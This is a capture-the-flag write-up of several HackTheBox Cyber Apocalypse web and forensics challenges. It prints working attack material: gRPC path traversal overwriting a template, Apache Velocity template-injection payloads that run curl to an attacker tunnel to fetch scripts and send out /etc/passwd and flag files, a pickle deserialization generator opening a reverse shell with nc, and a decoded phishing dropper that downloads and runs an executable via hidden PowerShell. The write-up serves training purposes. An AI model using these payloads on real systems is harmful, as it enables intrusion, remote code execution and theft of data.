Cyber Apocalypse returns with a vengeance! Join the biggest hacking competition of the year.
Web
Flag Command
This challenge starts with website that contains a text-based game.
Upon inspecting the JavaScript source code, we discover an endpoint /api/options
which returns all possible commands.
1
2
3
4
5
6
7
8
9
10
const fetchOptions = () => {
fetch('/api/options')
.then((data) => data.json())
.then((res) => {
availableOptions = res.allPossibleCommands;
})
.catch(() => {
availableOptions = undefined;
})
A sample response from this endpoint reveals a secret command along with other possible commands. This list includes secret
with the value “Blip-blop, in a pickle with a hiccup! Shmiggity-shmack”.
1
2
3
4
5
6
7
8
9
GET /api/options HTTP/1.1
Host: 94.237.52.91:32187
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/115.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Referer: http://94.237.52.91:32187/
Connection: close
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
{
"allPossibleCommands": {
"1": [
"HEAD NORTH",
"HEAD WEST",
"HEAD EAST",
"HEAD SOUTH"
],
"2": [
"GO DEEPER INTO THE FOREST",
"FOLLOW A MYSTERIOUS PATH",
"CLIMB A TREE",
"TURN BACK"
],
"3": [
"EXPLORE A CAVE",
"CROSS A RICKETY BRIDGE",
"FOLLOW A GLOWING BUTTERFLY",
"SET UP CAMP"
],
"4": [
"ENTER A MAGICAL PORTAL",
"SWIM ACROSS A MYSTERIOUS LAKE",
"FOLLOW A SINGING SQUIRREL",
"BUILD A RAFT AND SAIL DOWNSTREAM"
],
"secret": [
"Blip-blop, in a pickle with a hiccup! Shmiggity-shmack"
]
}
}
Further examination reveals that commands are sent to the `/api/monitor endpoint:
1
2
3
4
5
6
7
await fetch('/api/monitor', {
method: 'POST',
headers: {
'Content-Type': 'application/json'
},
body: JSON.stringify({ 'command': currentCommand })
})
Sending a request with the secret
command as the payload returns the flag.
Request
1
2
3
4
5
6
7
8
9
10
11
12
13
14
POST /api/monitor HTTP/1.1
Host: 94.237.52.91:32187
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/115.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Referer: http://94.237.52.91:32187/
Content-Type: application/json
Content-Length: 68
Origin: http://94.237.52.91:32187
Connection: close
{"command":"Blip-blop, in a pickle with a hiccup! Shmiggity-shmack"}
Response
1
2
3
4
{
"message": "HTB{D3v3l0p3r_t00l5_4r3_b35t_wh4t_y0u_Th1nk??!}"
}
Testimonial
This challenges provides a website that contains a bunch of testimonials. We get access to two servers, one for the website and one for the gPRC server.
There is a potential path traversal vulnerability in the gprc.go
file, specifically in the SubmitTestimonial
method. Both the customer
and testimonial
variables are written to the filesystem without undergoing validation.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
func (s *server) SubmitTestimonial(ctx context.Context, req *pb.TestimonialSubmission) (*pb.GenericReply, error) {
if req.Customer == "" {
return nil, errors.New("Name is required")
}
if req.Testimonial == "" {
return nil, errors.New("Content is required")
}
err := os.WriteFile(fmt.Sprintf("public/testimonials/%s", req.Customer), []byte(req.Testimonial), 0644)
if err != nil {
return nil, err
}
return &pb.GenericReply{Message: "Testimonial submitted successfully"}, nil
}
This method is missing user input validation, presenting a potential exploitation vector. However, validation is present in the client.go
file.
1
2
3
4
5
6
7
8
9
10
func (c *Client) SendTestimonial(customer, testimonial string) error {
ctx := context.Background()
// Filter bad characters.
for _, char := range []string{"/", "\\", ":", "*", "?", "\"", "<", ">", "|", "."} {
customer = strings.ReplaceAll(customer, char, "")
}
_, err := c.SubmitTestimonial(ctx, &pb.TestimonialSubmission{Customer: customer, Testimonial: testimonial})
return err
}
We can interact with gRPC using gprcurl
and gprcui
to bypass validation and send a request to overwrite the template files to be able to display the flag. We first need to compile the protoset we can find in the given source code and supply it.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
$ cat ptypes.proto
syntax = "proto3";
option go_package = "/pb";
service RickyService {
rpc SubmitTestimonial(TestimonialSubmission) returns (GenericReply) {}
}
message TestimonialSubmission {
string customer = 1;
string testimonial = 2;
}
message GenericReply {
string message = 1;
}
1
2
3
$ protoc --proto_path=. --descriptor_set_out=ptypes.protoset --include_imports ptypes.proto
$ /opt/grpcurl -plaintext -protoset ptypes.protoset 94.237.62.237:30367 list
RickyService
Using grpcui
:
1
2
$ /opt/grpcui -plaintext -protoset ptypes.protoset 94.237.62.237:30367
gRPC Web UI available at http://127.0.0.1:38535/
We can now creata a go method that reads out the files under root and their contents, to reveal the flag, then perform a request to overwrite index.templ
to reveal sensitive information. Below is a potential Go payload we could use:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
package home
import (
"htbchal/view/layout"
"io/fs"
"fmt"
"os"
)
templ Index() {
@layout.App(true) {
<div class="container">
<section class="container mt-5">
<h2 class="text-center mb-4">Contents of files under root:</h2>
<div class="row">
@RootFiles()
</div>
</section>
</div>
}
}
func GetRootFiles() []string {
fsys := os.DirFS("/")
files, err := fs.ReadDir(fsys, ".")
if err != nil {
return []string{fmt.Sprintf("Error reading RootFiles: %v", err)}
}
var res []string
for _, file := range files {
fileContent, _ := fs.ReadFile(fsys, file.Name())
res = append(res, string(fileContent))
}
return res
}
templ RootFiles() {
for _, item := range GetRootFiles() {
<p class="card-text">"{item}"</p>
}
}
We can now make a request to overwrite the template file.
Example request:
1
2
3
4
grpcurl -plaintext -d '{
"customer": "../../view/home/index.templ",
"testimonial": "template_code_here"
}' 94.237.63.83:56969 RickyService.SubmitTestimonial
Full request using grpcurl
:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
grpcurl -plaintext -d '{
"customer": "../../view/home/index.templ",
"testimonial": "package home\n\nimport (\n\t\"htbchal/view/layout\"\n\t\"io/fs\"\t\n\t\"fmt\"\n\t\"os\"\n)\n\ntempl Index() {\n\t@layout.App(true) {\n
\n
\n
Contents of files under root:
\n
\n @RootFiles()\n
\n
\n
\n\t}\n}\n\nfunc GetRootFiles() []string {\n\tfsys := os.DirFS(\"/\")\t\n\tfiles, err := fs.ReadDir(fsys, \".\")\t\t\n\tif err != nil {\n\t\treturn []string{fmt.Sprintf(\"Error reading RootFiles: %v\", err)}\n\t}\n\tvar res []string\n\tfor _, file := range files {\n\t\tfileContent, _ := fs.ReadFile(fsys, file.Name())\n\t\tres = append(res, string(fileContent))\t\t\n\t}\n\treturn res\n}\n\ntempl RootFiles() {\n for _, item := range GetRootFiles() {\n
\"{item}\"
\n }\n}"
}' 83.136.254.221:52171 RickyService.SubmitTestimonial
Flag: HTB{w34kly_t35t3d_t3mplate5}
Language Labyrinth
We get a webpage that translates text, we can tell from the source code that we get supplied that there is a parameter called “text” where we can supply our own text to be translatd.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
public class Main {
@RequestMapping("/")
@ResponseBody
String index(@RequestParam(required = false, name = "text") String textString) {
if (textString == null) {
textString = "Example text";
}
String template = "";
try {
template = readFileToString("/app/src/main/resources/templates/index.html", textString);
} catch (IOException e) {
e.printStackTrace();
}
RuntimeServices runtimeServices = RuntimeSingleton.getRuntimeServices();
StringReader reader = new StringReader(template);
org.apache.velocity.Template t = new org.apache.velocity.Template();
t.setRuntimeServices(runtimeServices);
try {
t.setData(runtimeServices.parse(reader, "home"));
t.initDocument();
VelocityContext context = new VelocityContext();
context.put("name", "World");
StringWriter writer = new StringWriter();
t.merge(context, writer);
template = writer.toString();
} catch (ParseException e) {
e.printStackTrace();
}
return template;
}
}
The text input gets included into the index.htm
template.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>Labyrinth Linguist 🌐</title>
<link rel="stylesheet" href="/css/style.css">
</head>
<body>
<form class="fire-form" action="" method="post">
<span class="fire-form-text">Enter text to translate english to voxalith!</span><br><br>
<input class="fire-form-input" type="text" name="text" value="">
<input class="fire-form-button" type="submit" value="Submit →">
</form>
<h2 class="fire">TEXT</h2>
</body>
</html>
In the pom.xml
file, we can tell the project is configured to use Apache Velocity templating engine.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
<dependencies>
<dependency>
<groupId>org.springframework.boot</groupId>
<artifactId>spring-boot-starter-web</artifactId>
</dependency>
<dependency>
<groupId>org.apache.velocity</groupId>
<artifactId>velocity</artifactId>
<version>1.7</version>
</dependency>
<dependency>
<groupId>org.apache.velocity</groupId>
<artifactId>velocity</artifactId>
<version>1.7</version>
</dependency>
</dependencies>
Researching this templating engine, we notice it is vulnerable to SSTI. The payload we will be using is `
Researching the Apache Velocity templating engine reveals a Server-Side Template Injection (SSTI) vulnerability. We intend to exploit this vulnerability using the payload:
1
#set($e="e");$e.getClass().forName("java.lang.Runtime").getMethod("getRuntime",null).invoke(null,null).exec("<OS COMMAND>")
We can test the payload by executing arbitrary OS commands and contact our remote server via curl
to contact our webserver. This payload needs to be URL encoded, using Burp CTRL+U shortcut.
1
2
3
4
5
6
7
8
9
10
GET /?text=%23set($e=%22e%22);$e.getClass().forName(%22java.lang.Runtime%22).getMethod(%22getRuntime%22,null).invoke(null,null).exec(%22curl+<NGROK URL>%22) HTTP/1.1
Host: 94.237.49.138:35384
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/115.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Connection: close
Upgrade-Insecure-Requests: 1
Content-Length: 2
We can also read sensitive files using the curl <URL> -F data=@file
in the above-mentioned payload.
1
#set($e="e");$e.getClass().forName("java.lang.Runtime").getMethod("getRuntime",null).invoke(null,null).exec("curl <NGROK URL>:<NGROK PORT> -F data=@/etc/passwd")
However, accessing the flag directly from the root directory is not feasible due to the random flag name as we can see in the source code:
1
2
3
4
5
6
7
8
9
10
#!/bin/bash
# Change flag name
mv /flag.txt /flag$(cat /dev/urandom | tr -cd "a-f0-9" | head -c 10).txt
# Secure entrypoint
chmod 600 /entrypoint.sh
# Start application
/usr/bin/supervisord -c /etc/supervisord.conf
To retrieve the flag, we need to execute a series of actions:
- Create a shell script that copies the content of all files that stat with “flag*” to a local file:
1 2 3 4
$ cat copy_flag.sh cat /flag* > flag.txt $ python3 -m http.server 80 Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...
1
#set($e="");$e.getClass().forName("java.lang.Runtime").getMethod("getRuntime",null).invoke(null,null).exec("curl https://<NGROK URL>/copy_flag.sh -o copy_flag.sh")
- Download the script to the server and put execution rights on the downloaded script:
1
#set($e="");$e.getClass().forName("java.lang.Runtime").getMethod("getRuntime",null).invoke(null,null).exec("chmod +x copy_flag.sh")
- Execute the script on the server:
1
#set($e="");$e.getClass().forName("java.lang.Runtime").getMethod("getRuntime",null).invoke(null,null).exec("./copy_flag.sh")
- Setup
ngrok
andnc
to catch the POST request we will do in step 5:1 2 3 4 5 6 7 8
$ ngrok tcp 1234 Web Interface http://127.0.0.1:4040 Forwarding tcp://0.tcp.eu.ngrok.io:11949 -> localhost:1234 Connections ttl opn rt1 rt5 p50 p90 1 0 0.00 0.00 300.00 300.00 $ nc -lvnp 1234 listening on [any] 1234 ...
Note: At first I used
$ python3 -m http.server
but encountered a “code 501, message Unsupported method (‘POST’)” error. That’s why we usenc
to catch this request. When you usenc
to listen (-l
) on a port, it simply captures the raw network traffic on that port without any understanding of the HTTP protocol or its methods. - Get the contents of the newly created file to our own server:
1
#set($e="");$e.getClass().forName("java.lang.Runtime").getMethod("getRuntime",null).invoke(null,null).exec("curl <NGROK URL> -F data=@flag.txt")
1 2 3 4 5
GET /?text=%23set($e=%22e%22);$e.getClass().forName(%22java.lang.Runtime%22).getMethod(%22getRuntime%22,null).invoke(null,null).exec(%22curl+0.tcp.eu.ngrok.io%3a11949+-F+data%3d%40flag.txt%22) HTTP/1.1 Host: 94.237.58.148:32299 User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/115.0 Upgrade-Insecure-Requests: 1
We catch the request on our server and find the flag HTB{f13ry_t3mpl4t35_fr0m_th3_d3pth5!!}
.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
$ nc -lvnp 1234
listening on [any] 1234 ...
connect to [127.0.0.1] from (UNKNOWN) [127.0.0.1] 36656
POST / HTTP/1.1
Host: 0.tcp.eu.ngrok.io:11949
User-Agent: curl/7.74.0
Accept: */*
Content-Length: 224
Content-Type: multipart/form-data; boundary=------------------------fc8380e0574a94ce
--------------------------fc8380e0574a94ce
Content-Disposition: form-data; name="data"; filename="flag.txt"
Content-Type: text/plain
HTB{f13ry_t3mpl4t35_fr0m_th3_d3pth5!!}
--------------------------fc8380e0574a94ce--
SerialFlow
We get a webpage that prints out a bunch of static text.
In the source code there is an endpoint “/set” that can set the UI color, but also memcached sessions.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
import pylibmc, uuid, sys
from flask import Flask, session, request, redirect, render_template
from flask_session import Session
app = Flask(__name__)
app.secret_key = uuid.uuid4()
app.config["SESSION_TYPE"] = "memcached"
app.config["SESSION_MEMCACHED"] = pylibmc.Client(["127.0.0.1:11211"])
app.config.from_object(__name__)
Session(app)
@app.before_request
def before_request():
if session.get("session") and len(session["session"]) > 86:
session["session"] = session["session"][:86]
@app.errorhandler(Exception)
def handle_error(error):
message = error.description if hasattr(error, "description") else [str(x) for x in error.args]
response = {
"error": {
"type": error.__class__.__name__,
"message": message
}
}
return response, error.code if hasattr(error, "code") else 500
@app.route("/set")
def set():
uicolor = request.args.get("uicolor")
if uicolor:
session["uicolor"] = uicolor
return redirect("/")
@app.route("/")
def main():
uicolor = session.get("uicolor", "#f1f1f1")
return render_template("index.html", uicolor=uicolor)
The application uses pylibmc
to load the memchache. There is a way to inject commands via memchached sessions.
By using the python script provided in the blog, adjusted to our session (thus removing BT_
) we can get the flag.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
import pickle
import os
class RCE:
def __reduce__(self):
cmd = ('nc <NGROK> -e /bin/bash')
return os.system, (cmd,)
def generate_exploit():
payload = pickle.dumps(RCE(), 0)
payload_size = len(payload)
cookie = b'137\r\nset 1337 0 2592000 '
cookie += str.encode(str(payload_size))
cookie += str.encode('\r\n')
cookie += payload
cookie += str.encode('\r\n')
cookie += str.encode('get 1337')
pack = ''
for x in list(cookie):
if x > 64:
pack += oct(x).replace("0o","\\")
elif x < 8:
pack += oct(x).replace("0o","\\00")
else:
pack += oct(x).replace("0o","\\0")
return f"\"{pack}\""
We can use the generated payload to set as a cookie and get access to the server to get the flag.
Flag: HTB{y0u_th0ught_th15_wou1d_b3_s1mpl3?}
`
Forensics
Urgent
We received a “.eml” file from a phishing attempt. EML files are email messages saved by email applications, containing message content, sender, recipient(s), and date, along with possible attachments.
When viewing the file, we see there are attachments attached to this email file.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
$ cat *.eml
X-Pm-Content-Encryption: end-to-end
X-Pm-Origin: internal
Subject: =?utf-8?Q?Urgent:_Faction_Recruitment_Opportunity_-_Join_Forces_Against_KORP=E2=84=A2_Tyranny!?=
From: anonmember1337 <anonmember1337@protonmail.com>
Date: Thu, 29 Feb 2024 12:52:17 +0000
Mime-Version: 1.0
Content-Type: multipart/mixed;boundary=---------------------2de0b0287d83378ead36e06aee64e4e5
To: factiongroups@gmail.com <factiongroups@gmail.com>
X-Attached: onlineform.html
Message-Id: <XVhH1Dg0VTGbfCjiZoHYDfUEfYdR0B0ppVem4t3oCwj6W21bavORQROAiXy84P6MKLpUKJmWRPw5C529AMwxhNiJ-8rfYzkdLjazI5feIQo=@protonmail.com>
X-Pm-Scheduled-Sent-Original-Time: Thu, 29 Feb 2024 12:52:05 +0000
X-Pm-Recipient-Authentication: factiongroups%40gmail.com=none
X-Pm-Recipient-Encryption: factiongroups%40gmail.com=none
-----------------------2de0b0287d83378ead36e06aee64e4e5
Content-Type: multipart/related;boundary=---------------------f4c91d2d4b35eb7cfece5203a97c3399
-----------------------f4c91d2d4b35eb7cfece5203a97c3399
Content-Type: text/html;charset=utf-8
Content-Transfer-Encoding: base64
<BASE64_BLOB>
-----------------------f4c91d2d4b35eb7cfece5203a97c3399--
-----------------------2de0b0287d83378ead36e06aee64e4e5
Content-Type: text/html; filename="onlineform.html"; name="onlineform.html"
Content-Transfer-Encoding: base64
Content-Disposition: attachment; filename="onlineform.html"; name="onlineform.html"
<BASE64_BLOB>
-----------------------2de0b0287d83378ead36e06aee64e4e5--
We can etract the attachments with the munpack
tool.
The munpack program reads each RFC-822 message filename and writes all non-text MIME parts or split-uuencoded files as files. If no filename argument is given, munpack reads from standard input.
-t Also write the text MIME parts of multipart messages as files. By default, text parts that do not have a filename parameter do not get unpacked. This option effectively disables the “.desc” file feature for MIME messages.
1
2
3
$ munpack -t Urgent\ Faction\ Recruitment\ Opportunity\ -\ Join\ Forces\ Against\ KORP™\ Tyranny.eml
part1 (text/html)
onlineform.html (text/html)
The “onlineform.html” contains obfuscated JavaScript.
1
2
3
4
5
6
7
8
9
10
$ cat onlineform.html
<html>
<head>
<title></title>
<body>
<script language="JavaScript" type="text/javascript">
document.write(unescape('%3c%68%74%6d%6c%3e%0d%0a%3c%68%65%61%64%3e%0d%0a%3c%74%69%74%6c%65%3e%20%3e%5f%20%3c%2f%74%69%74%6c%65%3e%0d%0a%3c%63%65%6e%74%65%72%3e%3c%68%31%3e%34%30%34%20%4e%6f%74%20%46%6f%75%6e%64%3c%2f%68%31%3e%3c%2f%63%65%6e%74%65%72%3e%0d%0a%3c%73%63%72%69%70%74%20%6c%61%6e%67%75%61%67%65%3d%22%56%42%53%63%72%69%70%74%22%3e%0d%0a%53%75%62%20%77%69%6e%64%6f%77%5f%6f%6e%6c%6f%61%64%0d%0a%09%63%6f%6e%73%74%20%69%6d%70%65%72%73%6f%6e%61%74%69%6f%6e%20%3d%20%33%0d%0a%09%43%6f%6e%73%74%20%48%49%44%44%45%4e%5f%57%49%4e%44%4f%57%20%3d%20%31%32%0d%0a%09%53%65%74%20%4c%6f%63%61%74%6f%72%20%3d%20%43%72%65%61%74%65%4f%62%6a%65%63%74%28%22%57%62%65%6d%53%63%72%69%70%74%69%6e%67%2e%53%57%62%65%6d%4c%6f%63%61%74%6f%72%22%29%0d%0a%09%53%65%74%20%53%65%72%76%69%63%65%20%3d%20%4c%6f%63%61%74%6f%72%2e%43%6f%6e%6e%65%63%74%53%65%72%76%65%72%28%29%0d%0a%09%53%65%72%76%69%63%65%2e%53%65%63%75%72%69%74%79%5f%2e%49%6d%70%65%72%73%6f%6e%61%74%69%6f%6e%4c%65%76%65%6c%3d%69%6d%70%65%72%73%6f%6e%61%74%69%6f%6e%0d%0a%09%53%65%74%20%6f%62%6a%53%74%61%72%74%75%70%20%3d%20%53%65%72%76%69%63%65%2e%47%65%74%28%22%57%69%6e%33%32%5f%50%72%6f%63%65%73%73%53%74%61%72%74%75%70%22%29%0d%0a%09%53%65%74%20%6f%62%6a%43%6f%6e%66%69%67%20%3d%20%6f%62%6a%53%74%61%72%74%75%70%2e%53%70%61%77%6e%49%6e%73%74%61%6e%63%65%5f%0d%0a%09%53%65%74%20%50%72%6f%63%65%73%73%20%3d%20%53%65%72%76%69%63%65%2e%47%65%74%28%22%57%69%6e%33%32%5f%50%72%6f%63%65%73%73%22%29%0d%0a%09%45%72%72%6f%72%20%3d%20%50%72%6f%63%65%73%73%2e%43%72%65%61%74%65%28%22%63%6d%64%2e%65%78%65%20%2f%63%20%70%6f%77%65%72%73%68%65%6c%6c%2e%65%78%65%20%2d%77%69%6e%64%6f%77%73%74%79%6c%65%20%68%69%64%64%65%6e%20%28%4e%65%77%2d%4f%62%6a%65%63%74%20%53%79%73%74%65%6d%2e%4e%65%74%2e%57%65%62%43%6c%69%65%6e%74%29%2e%44%6f%77%6e%6c%6f%61%64%46%69%6c%65%28%27%68%74%74%70%73%3a%2f%2f%73%74%61%6e%64%75%6e%69%74%65%64%2e%68%74%62%2f%6f%6e%6c%69%6e%65%2f%66%6f%72%6d%73%2f%66%6f%72%6d%31%2e%65%78%65%27%2c%27%25%61%70%70%64%61%74%61%25%5c%66%6f%72%6d%31%2e%65%78%65%27%29%3b%53%74%61%72%74%2d%50%72%6f%63%65%73%73%20%27%25%61%70%70%64%61%74%61%25%5c%66%6f%72%6d%31%2e%65%78%65%27%3b%24%66%6c%61%67%3d%27%48%54%42%7b%34%6e%30%74%68%33%72%5f%64%34%79%5f%34%6e%30%74%68%33%72%5f%70%68%31%73%68%69%31%6e%67%5f%34%74%74%33%6d%70%54%7d%22%2c%20%6e%75%6c%6c%2c%20%6f%62%6a%43%6f%6e%66%69%67%2c%20%69%6e%74%50%72%6f%63%65%73%73%49%44%29%0d%0a%09%77%69%6e%64%6f%77%2e%63%6c%6f%73%65%28%29%0d%0a%65%6e%64%20%73%75%62%0d%0a%3c%2f%73%63%72%69%70%74%3e%0d%0a%3c%2f%68%65%61%64%3e%0d%0a%3c%2f%68%74%6d%6c%3e%0d%0a'));
</script>
</body>
</html>
We use node
to execute this javascript and print the unescaped output.
1
$ node -e "console.log(unescape('%3c%68%74%6d%6c%3e%0d%0a%3c%68%65%61%64%3e%0d%0a%3c%74%69%74%6c%65%3e%20%3e%5f%20%3c%2f%74%69%74%6c%65%3e%0d%0a%3c%63%65%6e%74%65%72%3e%3c%68%31%3e%34%30%34%20%4e%6f%74%20%46%6f%75%6e%64%3c%2f%68%31%3e%3c%2f%63%65%6e%74%65%72%3e%0d%0a%3c%73%63%72%69%70%74%20%6c%61%6e%67%75%61%67%65%3d%22%56%42%53%63%72%69%70%74%22%3e%0d%0a%53%75%62%20%77%69%6e%64%6f%77%5f%6f%6e%6c%6f%61%64%0d%0a%09%63%6f%6e%73%74%20%69%6d%70%65%72%73%6f%6e%61%74%69%6f%6e%20%3d%20%33%0d%0a%09%43%6f%6e%73%74%20%48%49%44%44%45%4e%5f%57%49%4e%44%4f%57%20%3d%20%31%32%0d%0a%09%53%65%74%20%4c%6f%63%61%74%6f%72%20%3d%20%43%72%65%61%74%65%4f%62%6a%65%63%74%28%22%57%62%65%6d%53%63%72%69%70%74%69%6e%67%2e%53%57%62%65%6d%4c%6f%63%61%74%6f%72%22%29%0d%0a%09%53%65%74%20%53%65%72%76%69%63%65%20%3d%20%4c%6f%63%61%74%6f%72%2e%43%6f%6e%6e%65%63%74%53%65%72%76%65%72%28%29%0d%0a%09%53%65%72%76%69%63%65%2e%53%65%63%75%72%69%74%79%5f%2e%49%6d%70%65%72%73%6f%6e%61%74%69%6f%6e%4c%65%76%65%6c%3d%69%6d%70%65%72%73%6f%6e%61%74%69%6f%6e%0d%0a%09%53%65%74%20%6f%62%6a%53%74%61%72%74%75%70%20%3d%20%53%65%72%76%69%63%65%2e%47%65%74%28%22%57%69%6e%33%32%5f%50%72%6f%63%65%73%73%53%74%61%72%74%75%70%22%29%0d%0a%09%53%65%74%20%6f%62%6a%43%6f%6e%66%69%67%20%3d%20%6f%62%6a%53%74%61%72%74%75%70%2e%53%70%61%77%6e%49%6e%73%74%61%6e%63%65%5f%0d%0a%09%53%65%74%20%50%72%6f%63%65%73%73%20%3d%20%53%65%72%76%69%63%65%2e%47%65%74%28%22%57%69%6e%33%32%5f%50%72%6f%63%65%73%73%22%29%0d%0a%09%45%72%72%6f%72%20%3d%20%50%72%6f%63%65%73%73%2e%43%72%65%61%74%65%28%22%63%6d%64%2e%65%78%65%20%2f%63%20%70%6f%77%65%72%73%68%65%6c%6c%2e%65%78%65%20%2d%77%69%6e%64%6f%77%73%74%79%6c%65%20%68%69%64%64%65%6e%20%28%4e%65%77%2d%4f%62%6a%65%63%74%20%53%79%73%74%65%6d%2e%4e%65%74%2e%57%65%62%43%6c%69%65%6e%74%29%2e%44%6f%77%6e%6c%6f%61%64%46%69%6c%65%28%27%68%74%74%70%73%3a%2f%2f%73%74%61%6e%64%75%6e%69%74%65%64%2e%68%74%62%2f%6f%6e%6c%69%6e%65%2f%66%6f%72%6d%73%2f%66%6f%72%6d%31%2e%65%78%65%27%2c%27%25%61%70%70%64%61%74%61%25%5c%66%6f%72%6d%31%2e%65%78%65%27%29%3b%53%74%61%72%74%2d%50%72%6f%63%65%73%73%20%27%25%61%70%70%64%61%74%61%25%5c%66%6f%72%6d%31%2e%65%78%65%27%3b%24%66%6c%61%67%3d%27%48%54%42%7b%34%6e%30%74%68%33%72%5f%64%34%79%5f%34%6e%30%74%68%33%72%5f%70%68%31%73%68%69%31%6e%67%5f%34%74%74%33%6d%70%54%7d%22%2c%20%6e%75%6c%6c%2c%20%6f%62%6a%43%6f%6e%66%69%67%2c%20%69%6e%74%50%72%6f%63%65%73%73%49%44%29%0d%0a%09%77%69%6e%64%6f%77%2e%63%6c%6f%73%65%28%29%0d%0a%65%6e%64%20%73%75%62%0d%0a%3c%2f%73%63%72%69%70%74%3e%0d%0a%3c%2f%68%65%61%64%3e%0d%0a%3c%2f%68%74%6d%6c%3e%0d%0a'))"
This reveals the HTML that downloads and executes a dropper.
A dropper is a component of malware whose primary function is to deliver and install the malicious payload onto the victim’s system.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
<html>
<head>
<title> >_ </title>
<center><h1>404 Not Found</h1></center>
<script language="VBScript">
Sub window_onload
const impersonation = 3
Const HIDDEN_WINDOW = 12
Set Locator = CreateObject("WbemScripting.SWbemLocator")
Set Service = Locator.ConnectServer()
Service.Security_.ImpersonationLevel=impersonation
Set objStartup = Service.Get("Win32_ProcessStartup")
Set objConfig = objStartup.SpawnInstance_
Set Process = Service.Get("Win32_Process")
Error = Process.Create("cmd.exe /c powershell.exe -windowstyle hidden (New-Object System.Net.WebClient).DownloadFile('https://standunited.htb/online/forms/form1.exe','%appdata%\form1.exe');Start-Process '%appdata%\form1.exe';$flag='HTB{4n0th3r_d4y_4n0th3r_ph1shi1ng_4tt3mpT}", null, objConfig, intProcessID)
window.close()
end sub
</script>
</head>
</html>
The output HTML also contains the flag: HTB{4n0th3r_d4y_4n0th3r_ph1shi1ng_4tt3mpT}
.